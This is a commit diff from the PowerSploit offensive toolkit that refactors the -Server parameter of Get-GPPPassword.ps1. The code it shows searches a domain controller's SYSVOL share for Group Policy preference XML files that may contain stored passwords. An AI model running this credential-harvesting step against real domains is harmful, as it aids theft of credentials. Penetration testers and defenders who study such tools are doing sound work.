aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorDennis Maldonado <dennismald@gmail.com>2016-07-19 10:36:59 -0500
committerGitHub <noreply@github.com>2016-07-19 10:36:59 -0500
commit87630cac639f29c2adcb163f661f02890adf4bdd (patch)
tree8a39800ffe3589a98eb2fc822a059758e38e45b7
parent548b8864cf234cffb1943713baffe11f7d083dac (diff)
downloadPowerSploit-87630cac639f29c2adcb163f661f02890adf4bdd.tar.gz
PowerSploit-87630cac639f29c2adcb163f661f02890adf4bdd.zip
Added default value to parameter
Added default value to parameter and got rid of value check later in the code. Added validation of -Server value to ensure it is not $Null or an empty string
-rw-r--r--Exfiltration/Get-GPPPassword.ps116
1 files changed, 4 insertions, 12 deletions
diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1
index 8f52dfd..0c03e0a 100644
--- a/Exfiltration/Get-GPPPassword.ps1
+++ b/Exfiltration/Get-GPPPassword.ps1
@@ -84,8 +84,9 @@ function Get-GPPPassword {
[CmdletBinding()]
Param (
+ [ValidateNotNullOrEmpty()]
[String]
- $Server
+ $Server = $Env:USERDNSDOMAIN
)
#Some XML issues between versions
@@ -227,19 +228,10 @@ function Get-GPPPassword {
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
throw 'Machine is not a domain member or User is not a member of the domain.'
}
-
- #Allow users to specify domain controller
- if ($Server) {
- $DomainController = $Server
- }
-
- else {
- $DomainController = $Env:USERDNSDOMAIN
- }
#discover potential files containing passwords ; not complaining in case of denied access to a directory
- Write-Verbose "Searching \\$DomainController\SYSVOL. This could take a while."
- $XMlFiles = Get-ChildItem -Path "\\$DomainController\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
+ Write-Verbose "Searching \\$Server\SYSVOL. This could take a while."
+ $XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
if ( -not $XMlFiles ) {throw 'No preference files found.'}